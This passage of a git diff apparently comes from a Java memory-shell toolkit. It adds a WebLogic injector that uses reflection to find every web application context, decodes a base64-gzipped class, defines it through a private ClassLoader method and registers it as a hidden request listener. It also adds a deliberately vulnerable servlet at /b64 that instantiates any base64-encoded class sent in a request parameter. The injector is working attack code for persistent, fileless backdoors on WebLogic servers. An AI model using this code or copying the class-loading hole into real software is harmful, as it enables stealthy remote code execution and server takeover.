decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java new file mode 100644 index 00000000..54f71c4e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java @@ -0,0 +1,244 @@ +package com.reajason.javaweb.memshell.weblogic.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class WebLogicListenerInjector { + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new WebLogicListenerInjector(); + } + + public WebLogicListenerInjector() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + static Object[] getContextsByMbean() throws Throwable { + Set webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable ignored) { + } + + try { + Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); + for (Object componentRuntime : childrenSet) { + try { + Object context = getFieldValue(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + Set webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFieldValue(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFieldValue(connectionHandler, "request"); + if (request != null) { + context = getFieldValue(request, "context"); + } + } + if (context == null) { + context = getFieldValue(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + Set webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable ignored) { + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable ignored) { + } + return webappContexts.toArray(); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public void inject(Object context, Object listener) throws Exception { + if (isInjected(context)) { + return; + } + Object eventsManager = getFieldValue(context, "eventsManager"); + invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object context) throws Exception { + List requestListeners = (List) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners"); + for (Object requestListener : requestListeners) { + if (requestListener.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java b/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java new file mode 100644 index 00000000..772f13b6 --- /dev/null +++ b/vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java @@ -0,0 +1,51 @@ +import javax.servlet.*; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class Base64ClassLoaderServlet extends ClassLoader implements Servlet { + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + byte[] bytes = decodeBase64(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index 0d2f5e88..a01b0cc5 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -44,4 +44,14 @@ java-deserialize /java_deserialize + + + + b64 + Base64ClassLoaderServlet + + + b64 + /b64 + \ No newline at end of file